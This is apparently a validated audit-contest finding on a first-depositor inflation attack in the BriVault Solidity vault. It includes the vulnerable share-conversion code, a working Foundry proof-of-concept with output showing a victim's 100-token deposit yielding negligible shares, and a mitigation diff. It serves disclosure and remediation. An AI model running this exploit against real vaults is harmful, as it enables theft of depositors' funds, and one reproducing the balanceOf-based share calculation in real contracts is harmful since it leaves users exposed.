BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Share Price Manipulation via First Depositor Inflation Attack

Root + Impact

Description

  • Normal Behavior: When users deposit assets into the BriVault, the _convertToShares() function calculates how many BTT shares to mint based on the ratio of total shares to total vault assets. The first depositor receives shares at a 1:1 ratio (minus fees), and subsequent depositors receive shares proportional to their contribution relative to the existing vault balance.


  • Vulnerability: The _convertToShares() function uses IERC20(asset()).balanceOf(address(this)) to determine the vault's total assets, which includes ALL tokens in the contract even those sent directly via ERC20 transfer() that bypass the deposit() function.

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
//@> Uses balanceOf(this) which includes direct transfers
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets; //@> First depositor gets 1:1 ratio
}
//@> Victim's shares = (assets * totalShares) / inflatedBalance
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood:

  • The attack can be executed immediately after contract deployment when totalSupply() == 0, requiring only the cost of a minimum deposit (0.001 ETH) plus gas fees.

  • No special permissions are required - any user can become the first depositor and execute this attack before legitimate users deposit.

Impact:

  • Victims receive essentially zero shares (due to integer division rounding down) despite depositing significant funds, resulting in complete loss of their deposits.

  • The attacker gains ownership of 99%+ of all shares with minimal investment, allowing them to withdraw nearly all vault assets when they win the tournament.

Proof of Concept

You can paste the below test inside the briVault.t.sol test suite.

function test_sharePriceManipulation_firstDepositorAttack() public {
// Setup: Owner sets countries
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
// STEP 1: Attacker deposits minimal amount (0.001 ETH) to become first depositor
address attacker = makeAddr("attacker");
mockToken.mint(attacker, 1_000_001 ether);
vm.startPrank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
uint256 minDeposit = 0.001 ether;
uint256 attackerShares = briVault.deposit(minDeposit, attacker);
console.log("Attacker shares received:", attackerShares); // 985000000000000 (0.000985 ETH worth)
console.log("Attacker cost:", minDeposit); // 0.001 ETH
// STEP 2: Attacker sends 1M tokens DIRECTLY to vault (bypassing deposit)
mockToken.transfer(address(briVault), 1_000_000 ether);
vm.stopPrank();
// Verify vault balance is inflated but shares remain unchanged
uint256 vaultBalance = mockToken.balanceOf(address(briVault));
console.log("Vault balance after direct transfer:", vaultBalance); // 1,000,000.000985 ETH
console.log("Total shares:", briVault.totalSupply()); // Still only 985000000000000
// STEP 3: Victim deposits 100 ETH
address victim = makeAddr("victim");
mockToken.mint(victim, 100 ether);
vm.startPrank(victim);
mockToken.approve(address(briVault), type(uint256).max);
uint256 victimShares = briVault.deposit(100 ether, victim);
console.log("Victim shares received:", victimShares); // 97022499904 (essentially 0)
vm.stopPrank();
// CRITICAL: Victim deposited 100 ETH but received negligible shares
// Calculation: (100 ETH * 985000000000000) / 1,000,000.000985 ETH ≈ 0.0000001 shares
assertTrue(victimShares < 1 ether, "Victim receives negligible shares");
// Attacker owns 99% of shares despite 0.001 ETH investment
uint256 attackerSharePercent = (briVault.balanceOf(attacker) * 100) / briVault.totalSupply();
console.log("Attacker share percent:", attackerSharePercent); // 99%
assertTrue(attackerSharePercent > 50, "Attacker controls majority");

The test output confirms:

Attacker shares received: 985000000000000
Attacker cost: 1000000000000000
Vault balance after direct transfer: 1000000000985000000000000
Total shares: 985000000000000
Victim shares received: 97022499904
Attacker share percent: 99

Mitigation

Implement internal accounting to track legitimate deposits separately from direct transfers:

contract BriVault is ERC4626, Ownable {
+ uint256 internal totalDeposited; // Track only legitimate deposits
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
- if (totalShares == 0 || balanceOfVault == 0) {
+ if (totalShares == 0 || totalDeposited == 0) {
return assets;
}
- shares = Math.mulDiv(assets, totalShares, balanceOfVault);
+ shares = Math.mulDiv(assets, totalShares, totalDeposited);
}
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
+ totalDeposited += stakeAsset; // Track internally
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!